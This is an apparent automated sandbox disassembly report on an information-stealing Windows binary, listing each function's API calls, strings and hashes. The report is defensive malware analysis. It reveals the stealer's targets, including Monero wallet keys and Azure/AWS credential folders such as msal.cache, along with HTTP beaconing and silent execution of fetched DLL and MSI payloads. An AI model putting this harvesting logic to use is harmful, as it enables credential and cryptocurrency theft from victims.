Associated: 00000000.00000002.2133134019.0000000000E8E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133134019.000000000101E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133134019.00000000010F7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133134019.000000000111A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133134019.0000000001125000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133134019.0000000001133000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133370610.0000000001134000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133473479.00000000012D3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133488139.00000000012D4000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c30000_file.jbxd

Yara matches

Similarity

API ID: lstrlen$Internet$lstrcpy$CloseHandle$HeapHttpOpenRequestlstrcat$AllocateConnectCrackFileProcessReadSend
String ID: "$"$------$------$------
API String ID: 874700897-2180234286
Opcode ID: 93e79df387191bd7cec30426fcd251d0598ea8d5f7465ccc03027ea0c6ac19ef
Instruction ID: 3b946cdfe3b9532d809f58bb7fcb21a6690af405d074cbca3e523761e77ff5ad
Opcode Fuzzy Hash: 93e79df387191bd7cec30426fcd251d0598ea8d5f7465ccc03027ea0c6ac19ef
Instruction Fuzzy Hash: 5D121E71860118ABEB15EBA0DC95FEEB378FF54700F5041A9F50A72091EF702A89DF65

Function 00C3CEF0 Relevance: 30.4, APIs: 20, Instructions: 375stringmemoryfileCOMMON

Download Yara Rule

APIs

Part of subcall function 00C4A740: lstrcpy.KERNEL32(00C50E17,00000000), ref: 00C4A788

Part of subcall function 00C4A9B0: lstrlen.KERNEL32(?,019D8B90,?,\Monero\wallet.keys,00C50E17), ref: 00C4A9C5
Part of subcall function 00C4A9B0: lstrcpy.KERNEL32(00000000), ref: 00C4AA04
Part of subcall function 00C4A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 00C4AA12

Part of subcall function 00C4A8A0: lstrcpy.KERNEL32(?,00C50E17), ref: 00C4A905

Part of subcall function 00C48B60: GetSystemTime.KERNEL32(00C50E1A,019D9B48,00C505AE,?,?,00C313F9,?,0000001A,00C50E1A,00000000,?,019D8B90,?,\Monero\wallet.keys,00C50E17), ref: 00C48B86

Part of subcall function 00C4A920: lstrcpy.KERNEL32(00000000,?), ref: 00C4A972
Part of subcall function 00C4A920: lstrcat.KERNEL32(00000000), ref: 00C4A982

CopyFileA.KERNEL32(00000000,00000000,00000001), ref: 00C3CF83
GetProcessHeap.KERNEL32(00000000,05F5E0FF), ref: 00C3D0C7
RtlAllocateHeap.NTDLL(00000000), ref: 00C3D0CE
lstrcat.KERNEL32(?,00000000), ref: 00C3D208
lstrcat.KERNEL32(?,00C51478), ref: 00C3D217
lstrcat.KERNEL32(?,00000000), ref: 00C3D22A
lstrcat.KERNEL32(?,00C5147C), ref: 00C3D239
lstrcat.KERNEL32(?,00000000), ref: 00C3D24C
lstrcat.KERNEL32(?,00C51480), ref: 00C3D25B
lstrcat.KERNEL32(?,00000000), ref: 00C3D26E
lstrcat.KERNEL32(?,00C51484), ref: 00C3D27D
lstrcat.KERNEL32(?,00000000), ref: 00C3D290
lstrcat.KERNEL32(?,00C51488), ref: 00C3D29F
lstrcat.KERNEL32(?,00000000), ref: 00C3D2B2
lstrcat.KERNEL32(?,00C5148C), ref: 00C3D2C1
lstrcat.KERNEL32(?,00000000), ref: 00C3D2D4
lstrcat.KERNEL32(?,00C51490), ref: 00C3D2E3

Part of subcall function 00C4A820: lstrlen.KERNEL32(00C34F05,?,?,00C34F05,00C50DDE), ref: 00C4A82B
Part of subcall function 00C4A820: lstrcpy.KERNEL32(00C50DDE,00000000), ref: 00C4A885

lstrlen.KERNEL32(?), ref: 00C3D32A
lstrlen.KERNEL32(?), ref: 00C3D339

Part of subcall function 00C4AA70: StrCmpCA.SHLWAPI(019D8950,00C3A7A7,?,00C3A7A7,019D8950), ref: 00C4AA8F

DeleteFileA.KERNEL32(00000000), ref: 00C3D3B4

Memory Dump Source

Source File: 00000000.00000002.2132961759.0000000000C31000.00000040.00000001.01000000.00000003.sdmp, Offset: 00C30000, based on PE: true

Associated: 00000000.00000002.2132944748.0000000000C30000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132961759.0000000000CE1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132961759.0000000000CED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132961759.0000000000D12000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132961759.0000000000E7A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133134019.0000000000E8E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133134019.000000000101E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133134019.00000000010F7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133134019.000000000111A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133134019.0000000001125000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133134019.0000000001133000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133370610.0000000001134000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133473479.00000000012D3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133488139.00000000012D4000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c30000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$lstrcpy$lstrlen$FileHeap$AllocateCopyDeleteProcessSystemTime
String ID:
API String ID: 1956182324-0
Opcode ID: d7c4776633c34db7c334536dc92cb9642523cb9594c60b3b0ce9323bc8cb7ddc
Instruction ID: 597b9e2062b1357d32b17752a68ebd4feea29081937fc63a088b01a4fff551c1
Opcode Fuzzy Hash: d7c4776633c34db7c334536dc92cb9642523cb9594c60b3b0ce9323bc8cb7ddc
Instruction Fuzzy Hash: 7CE14C71950108AFEB08EBA1DD9AEEE7378FF54301F144168F507B6091DF34AA49EB62

Function 00C3C990 Relevance: 24.9, APIs: 13, Strings: 1, Instructions: 384filestringCOMMON

Download Yara Rule

APIs

Part of subcall function 00C4A740: lstrcpy.KERNEL32(00C50E17,00000000), ref: 00C4A788

Part of subcall function 00C4A920: lstrcpy.KERNEL32(00000000,?), ref: 00C4A972
Part of subcall function 00C4A920: lstrcat.KERNEL32(00000000), ref: 00C4A982

Part of subcall function 00C4A8A0: lstrcpy.KERNEL32(?,00C50E17), ref: 00C4A905

Part of subcall function 00C4A9B0: lstrlen.KERNEL32(?,019D8B90,?,\Monero\wallet.keys,00C50E17), ref: 00C4A9C5
Part of subcall function 00C4A9B0: lstrcpy.KERNEL32(00000000), ref: 00C4AA04
Part of subcall function 00C4A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 00C4AA12

CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000,00000000,?,019DCA08,00000000,?,00C5144C,00000000,?,?), ref: 00C3CA6C
SetFilePointer.KERNEL32(00000000,00000000,00000000,00000002), ref: 00C3CA89
GetFileSize.KERNEL32(00000000,00000000), ref: 00C3CA95
SetFilePointer.KERNEL32(00000000,00000000,00000000,00000000), ref: 00C3CAA8
ReadFile.KERNEL32(00000000,?,00000000,?,00000000), ref: 00C3CAD9
StrStrA.SHLWAPI(?,019DCA20,00C50B52), ref: 00C3CAF7
StrStrA.SHLWAPI(00000000,019DCA68), ref: 00C3CB1E
StrStrA.SHLWAPI(?,019DD038,00000000,?,00C51458,00000000,?,00000000,00000000,?,019D8940,00000000,?,00C51454,00000000,?), ref: 00C3CCA2
StrStrA.SHLWAPI(00000000,019DD398), ref: 00C3CCB9

Part of subcall function 00C3C820: lstrlen.KERNEL32(?,00000001,?,00000000,00000000,00000000), ref: 00C3C871
Part of subcall function 00C3C820: CryptStringToBinaryA.CRYPT32(?,00000000), ref: 00C3C87C

StrStrA.SHLWAPI(?,019DD398,00000000,?,00C5145C,00000000,?,00000000,019D8820), ref: 00C3CD5A
StrStrA.SHLWAPI(00000000,019D8B50), ref: 00C3CD71

Part of subcall function 00C3C820: lstrcat.KERNEL32(?,00C50B46), ref: 00C3C943
Part of subcall function 00C3C820: lstrcat.KERNEL32(?,00C50B47), ref: 00C3C957
Part of subcall function 00C3C820: lstrcat.KERNEL32(?,00C50B4E), ref: 00C3C978

lstrlen.KERNEL32(00000000), ref: 00C3CE44
CloseHandle.KERNEL32(00000000), ref: 00C3CE9C

Strings

, xrefs: 00C3C9C6

Memory Dump Source

Source File: 00000000.00000002.2132961759.0000000000C31000.00000040.00000001.01000000.00000003.sdmp, Offset: 00C30000, based on PE: true

Associated: 00000000.00000002.2132944748.0000000000C30000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132961759.0000000000CE1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132961759.0000000000CED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132961759.0000000000D12000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132961759.0000000000E7A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133134019.0000000000E8E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133134019.000000000101E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133134019.00000000010F7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133134019.000000000111A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133134019.0000000001125000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133134019.0000000001133000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133370610.0000000001134000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133473479.00000000012D3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133488139.00000000012D4000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c30000_file.jbxd

Yara matches

Similarity

API ID: Filelstrcat$lstrcpy$lstrlen$Pointer$BinaryCloseCreateCryptHandleReadSizeString
String ID:
API String ID: 3744635739-3916222277
Opcode ID: d207f492f4c4d2d26de7356502b87fd55331ecd1e82ac897184ae20c09bcdd4c
Instruction ID: aa2e412faa7a1153bb2fb861898d7d5f1f3fd1ec9ff7bd4339f122c1531ab89b
Opcode Fuzzy Hash: d207f492f4c4d2d26de7356502b87fd55331ecd1e82ac897184ae20c09bcdd4c
Instruction Fuzzy Hash: 48E1FC71950108AFEB14EBA0DC96FEEB778FF54300F444169F506B6191EF306A8ADB62

Function 00C48320 Relevance: 24.7, APIs: 11, Strings: 3, Instructions: 196registryCOMMON

Download Yara Rule

APIs

Part of subcall function 00C4A740: lstrcpy.KERNEL32(00C50E17,00000000), ref: 00C4A788

RegOpenKeyExA.ADVAPI32(00000000,019DAE20,00000000,00020019,00000000,00C505B6), ref: 00C483A4
RegEnumKeyExA.ADVAPI32(00000000,00000000,?,00000400,00000000,00000000,00000000,00000000), ref: 00C48426
wsprintfA.USER32 ref: 00C48459
RegOpenKeyExA.ADVAPI32(00000000,?,00000000,00020019,00000000), ref: 00C4847B
RegCloseKey.ADVAPI32(00000000), ref: 00C4848C
RegCloseKey.ADVAPI32(00000000), ref: 00C48499

Part of subcall function 00C4A7A0: lstrcpy.KERNEL32(?,00000000), ref: 00C4A7E6

Strings

?, xrefs: 00C4837A
- , xrefs: 00C485A3
%s\%s, xrefs: 00C4844D

Memory Dump Source

Source File: 00000000.00000002.2132961759.0000000000C31000.00000040.00000001.01000000.00000003.sdmp, Offset: 00C30000, based on PE: true

Associated: 00000000.00000002.2132944748.0000000000C30000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132961759.0000000000CE1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132961759.0000000000CED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132961759.0000000000D12000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132961759.0000000000E7A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133134019.0000000000E8E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133134019.000000000101E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133134019.00000000010F7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133134019.000000000111A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133134019.0000000001125000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133134019.0000000001133000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133370610.0000000001134000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133473479.00000000012D3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133488139.00000000012D4000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c30000_file.jbxd

Yara matches

Similarity

API ID: CloseOpenlstrcpy$Enumwsprintf
String ID: - $%s\%s$?
API String ID: 3246050789-3278919252
Opcode ID: 26b44ce7e1045f8840a5c56a5a91d38c64286ab64a5d02d3683a91d9e8fbcffd
Instruction ID: 2ceb71322006e354ce8cb2ac69abd507c3578fcc0e2e5a13591771481cb056e7
Opcode Fuzzy Hash: 26b44ce7e1045f8840a5c56a5a91d38c64286ab64a5d02d3683a91d9e8fbcffd
Instruction Fuzzy Hash: 7D81FBB1950118AFEB28DB54CC95FEEB7B8FF48700F008299E509A6180DF716B89CF95

Function 00C44D70 Relevance: 22.6, APIs: 6, Strings: 9, Instructions: 123stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00C48DE0: SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?,?,000003E8), ref: 00C48E0B

lstrcat.KERNEL32(?,00000000), ref: 00C44DB0
lstrcat.KERNEL32(?,\.azure\), ref: 00C44DCD

Part of subcall function 00C44910: wsprintfA.USER32 ref: 00C4492C
Part of subcall function 00C44910: FindFirstFileA.KERNEL32(?,?), ref: 00C44943

lstrcat.KERNEL32(?,00000000), ref: 00C44E3C
lstrcat.KERNEL32(?,\.aws\), ref: 00C44E59

Part of subcall function 00C44910: StrCmpCA.SHLWAPI(?,00C50FDC), ref: 00C44971
Part of subcall function 00C44910: StrCmpCA.SHLWAPI(?,00C50FE0), ref: 00C44987
Part of subcall function 00C44910: FindNextFileA.KERNEL32(000000FF,?), ref: 00C44B7D
Part of subcall function 00C44910: FindClose.KERNEL32(000000FF), ref: 00C44B92

lstrcat.KERNEL32(?,00000000), ref: 00C44EC8
lstrcat.KERNEL32(?,\.IdentityService\), ref: 00C44EE5

Part of subcall function 00C44910: wsprintfA.USER32 ref: 00C449B0
Part of subcall function 00C44910: StrCmpCA.SHLWAPI(?,00C508D2), ref: 00C449C5
Part of subcall function 00C44910: wsprintfA.USER32 ref: 00C449E2
Part of subcall function 00C44910: PathMatchSpecA.SHLWAPI(?,?), ref: 00C44A1E
Part of subcall function 00C44910: lstrcat.KERNEL32(?,019DE510), ref: 00C44A4A
Part of subcall function 00C44910: lstrcat.KERNEL32(?,00C50FF8), ref: 00C44A5C
Part of subcall function 00C44910: lstrcat.KERNEL32(?,?), ref: 00C44A70
Part of subcall function 00C44910: lstrcat.KERNEL32(?,00C50FFC), ref: 00C44A82
Part of subcall function 00C44910: lstrcat.KERNEL32(?,?), ref: 00C44A96
Part of subcall function 00C44910: CopyFileA.KERNEL32(?,?,00000001), ref: 00C44AAC
Part of subcall function 00C44910: DeleteFileA.KERNEL32(?), ref: 00C44B31

Strings

Azure\.azure, xrefs: 00C44DD3
*.*, xrefs: 00C44DD8
\.IdentityService\, xrefs: 00C44ED9
Azure\.aws, xrefs: 00C44E5F
\.aws\, xrefs: 00C44E4D
msal.cache, xrefs: 00C44EF0
*.*, xrefs: 00C44E64
\.azure\, xrefs: 00C44DC1
Azure\.IdentityService, xrefs: 00C44EEB

Memory Dump Source

Source File: 00000000.00000002.2132961759.0000000000C31000.00000040.00000001.01000000.00000003.sdmp, Offset: 00C30000, based on PE: true

Associated: 00000000.00000002.2132944748.0000000000C30000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132961759.0000000000CE1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132961759.0000000000CED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132961759.0000000000D12000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132961759.0000000000E7A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133134019.0000000000E8E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133134019.000000000101E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133134019.00000000010F7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133134019.000000000111A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133134019.0000000001125000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133134019.0000000001133000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133370610.0000000001134000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133473479.00000000012D3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133488139.00000000012D4000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c30000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$File$Findwsprintf$Path$CloseCopyDeleteFirstFolderMatchNextSpec
String ID: *.*$*.*$Azure\.IdentityService$Azure\.aws$Azure\.azure$\.IdentityService\$\.aws\$\.azure\$msal.cache
API String ID: 949356159-974132213
Opcode ID: 98e09673bc85d6adf9beadf9fd1df2ee052f7efbf9db2a83c02b6f88076660b9
Instruction ID: eaf8a344e1c96e3522e75e6e5296f063268d9575cc7a0b0cda1d6590d02d6bd9
Opcode Fuzzy Hash: 98e09673bc85d6adf9beadf9fd1df2ee052f7efbf9db2a83c02b6f88076660b9
Instruction Fuzzy Hash: 9D41A67A9402046BD754F7B0DC4BFED3338AB64701F044464BA49A60C1EEB49BCDDB92

Function 00C49010 Relevance: 21.2, APIs: 11, Strings: 1, Instructions: 184COMMON

Download Yara Rule

APIs

CreateStreamOnHGlobal.COMBASE(00000000,00000001,?), ref: 00C4906C

Strings

image/jpeg, xrefs: 00C49136

Memory Dump Source

Source File: 00000000.00000002.2132961759.0000000000C31000.00000040.00000001.01000000.00000003.sdmp, Offset: 00C30000, based on PE: true

Associated: 00000000.00000002.2132944748.0000000000C30000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132961759.0000000000CE1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132961759.0000000000CED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132961759.0000000000D12000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132961759.0000000000E7A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133134019.0000000000E8E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133134019.000000000101E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133134019.00000000010F7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133134019.000000000111A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133134019.0000000001125000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133134019.0000000001133000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133370610.0000000001134000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133473479.00000000012D3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133488139.00000000012D4000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c30000_file.jbxd

Yara matches

Similarity

API ID: CreateGlobalStream
String ID: image/jpeg
API String ID: 2244384528-3785015651
Opcode ID: 6a70c9083a62d0b9846de7b2c33636ea74cd36e5fec9d6b9040a3447aad30326
Instruction ID: 0c4975aa578897efcbc270441f062e2a61be49fdf1c2f49e99e521e1a1946bdc
Opcode Fuzzy Hash: 6a70c9083a62d0b9846de7b2c33636ea74cd36e5fec9d6b9040a3447aad30326
Instruction Fuzzy Hash: 5F71EC71910208AFDB14EFE5DC89FEEB7B8FB88700F148518F519A7290DB74A945CB61

Function 00C42E30 Relevance: 19.7, APIs: 3, Strings: 8, Instructions: 469COMMON

Download Yara Rule

APIs

Part of subcall function 00C4A740: lstrcpy.KERNEL32(00C50E17,00000000), ref: 00C4A788

ShellExecuteEx.SHELL32(0000003C), ref: 00C431C5
ShellExecuteEx.SHELL32(0000003C), ref: 00C4335D
ShellExecuteEx.SHELL32(0000003C), ref: 00C434EA

Strings

C:\Windows\system32\rundll32.exe, xrefs: 00C43332
C:\Windows\system32\msiexec.exe, xrefs: 00C434BF
<, xrefs: 00C43490
/passive, xrefs: 00C4345B
.dll, xrefs: 00C431E5
/i ", xrefs: 00C433E4
"" , xrefs: 00C4309A
.msi, xrefs: 00C43398

Memory Dump Source

Source File: 00000000.00000002.2132961759.0000000000C31000.00000040.00000001.01000000.00000003.sdmp, Offset: 00C30000, based on PE: true

Associated: 00000000.00000002.2132944748.0000000000C30000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132961759.0000000000CE1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132961759.0000000000CED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132961759.0000000000D12000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132961759.0000000000E7A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133134019.0000000000E8E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133134019.000000000101E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133134019.00000000010F7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133134019.000000000111A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133134019.0000000001125000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133134019.0000000001133000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133370610.0000000001134000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133473479.00000000012D3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133488139.00000000012D4000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c30000_file.jbxd

Yara matches

Similarity

API ID: ExecuteShell$lstrcpy
String ID: /i "$ /passive$"" $.dll$.msi$<$C:\Windows\system32\msiexec.exe$C:\Windows\system32\rundll32.exe
API String ID: 2507796910-3625054190
Opcode ID: cd798cefcd8475cb59476299800749aebc8d7806e224502a7f0651cdaec88e15
Instruction ID: 7da1bb2cbfbf591d0023178cdbfae83a4c8c3167be822fdb97b8955d97e0433d
Opcode Fuzzy Hash: cd798cefcd8475cb59476299800749aebc8d7806e224502a7f0651cdaec88e15
Instruction Fuzzy Hash: D412EC71850108AAEB19FBA0DC92FEDB778BF64300F504169F50666191EF742B8EDF62

Function 00C452C0 Relevance: 17.6, APIs: 5, Strings: 5, Instructions: 139stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00C4A7A0: lstrcpy.KERNEL32(?,00000000), ref: 00C4A7E6

Part of subcall function 00C36280: InternetOpenA.WININET(00C50DFE,00000001,00000000,00000000,00000000), ref: 00C362E1
Part of subcall function 00C36280: StrCmpCA.SHLWAPI(?,019DE580), ref: 00C36303
Part of subcall function 00C36280: InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 00C36335
Part of subcall function 00C36280: HttpOpenRequestA.WININET(00000000,GET,?,019DDC28,00000000,00000000,00400100,00000000), ref: 00C36385
Part of subcall function 00C36280: InternetSetOptionA.WININET(00000000,0000001F,?,00000004), ref: 00C363BF
Part of subcall function 00C36280: HttpSendRequestA.WININET(00000000,00000000,00000000,00000000,00000000), ref: 00C363D1

Part of subcall function 00C4A8A0: lstrcpy.KERNEL32(?,00C50E17), ref: 00C4A905

StrCmpCA.SHLWAPI(00000000,ERROR,00000000), ref: 00C45318
lstrlen.KERNEL32(00000000), ref: 00C4532F

Part of subcall function 00C48E30: LocalAlloc.KERNEL32(00000040,-00000001), ref: 00C48E52

StrStrA.SHLWAPI(00000000,00000000), ref: 00C45364
lstrlen.KERNEL32(00000000), ref: 00C45383
lstrlen.KERNEL32(00000000), ref: 00C453AE

Part of subcall function 00C4A740: lstrcpy.KERNEL32(00C50E17,00000000), ref: 00C4A788

Strings

ERROR, xrefs: 00C4530A
ERROR, xrefs: 00C45432
ERROR, xrefs: 00C453B9
ERROR, xrefs: 00C454A9
ERROR, xrefs: 00C4546F

Memory Dump Source

Source File: 00000000.00000002.2132961759.0000000000C31000.00000040.00000001.01000000.00000003.sdmp, Offset: 00C30000, based on PE: true

Associated: 00000000.00000002.2132944748.0000000000C30000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132961759.0000000000CE1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132961759.0000000000CED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132961759.0000000000D12000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132961759.0000000000E7A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133134019.0000000000E8E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133134019.000000000101E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133134019.00000000010F7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133134019.000000000111A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133134019.0000000001125000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133134019.0000000001133000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133370610.0000000001134000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133473479.00000000012D3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133488139.00000000012D4000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c30000_file.jbxd

Yara matches

Similarity

API ID: Internetlstrcpylstrlen$HttpOpenRequest$AllocConnectLocalOptionSend
String ID: ERROR$ERROR$ERROR$ERROR$ERROR
API String ID: 3240024479-1526165396
Opcode ID: c7138f58a3b6f6871e4f924f1b8e78b7619944f899c75e8f8590c7d5de519c0d
Instruction ID: 5a934d1938245d291ce5fb6778e6dfb960b5991a4759ebe57470fcacc67ab695
Opcode Fuzzy Hash: c7138f58a3b6f6871e4f924f1b8e78b7619944f899c75e8f8590c7d5de519c0d
Instruction Fuzzy Hash: C0510D309501489FEB18FF61CD96AED7779FF50305F504028F80A6A592EF346B4AEB62

Function 00C412D0 Relevance: 16.8, APIs: 11, Instructions: 310COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2132961759.0000000000C31000.00000040.00000001.01000000.00000003.sdmp, Offset: 00C30000, based on PE: true

Associated: 00000000.00000002.2132944748.0000000000C30000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132961759.0000000000CE1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132961759.0000000000CED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132961759.0000000000D12000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132961759.0000000000E7A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133134019.0000000000E8E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133134019.000000000101E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133134019.00000000010F7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133134019.000000000111A000.00000040.00000001.01000000.00000003.sdmpDownload File
